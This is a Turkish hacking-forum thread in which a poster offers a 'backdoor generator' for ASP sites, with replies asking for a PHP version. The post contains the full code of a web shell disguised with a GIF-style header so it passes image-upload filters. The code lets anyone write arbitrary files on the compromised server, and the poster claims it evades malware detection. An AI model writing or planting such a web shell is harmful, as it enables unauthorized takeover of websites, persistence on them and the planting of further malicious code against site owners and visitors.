asp Backdoor oluşturucu (1 Viewer)

Asp sitelerin upload kısımlarından bu dosyayı rahatlıkla yükleyebilirsiniz, sistem tarafından zararlı kod olarak okunmaz, tek yaptığı şey textbox içine yazdığını kodları ftp'de oluşturmak.

Piyasada bulunmaz

G?F89a;
<%
on error resume next
testfile=Request.form("filepath")
msg=Request.form("message")
if Trim(request("filepath"))<>"" then
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.CreateTextFile(testfile,True)
thisfile.Write(""&msg& "")
if err =0 Then
response.write "<font color=red>Successful ....</font>"
else
response.write "<font color=red>No Permission :(</font>"
end if
err.clear
thisfile.close
set fs = nothing
End if
%>
<form method="POST" ACTION="">
<p align="center">
<input type="text" size="79" name="filepath"
value="<%=server.mappath("dz.asp")%>">
<BR>
<TEXTAREA NAME="Message" ROWS="10" COLS="60"></TEXTAREA>
</p>
<p align="center">
<input type="submit" name="Send" value="Submit">
</p>
</form>
<p align="center"></body></html>   </body></html><font face="Courier New">SPYHACKERZ ©
Copyright 2006 - 2018.<br>
</font>
</p>
<title>[ SPYHACKERZ ]</title>

 

güzelmiş bu php versiyonu varmi

 

php versiyonu yaparım ben mkfile işte.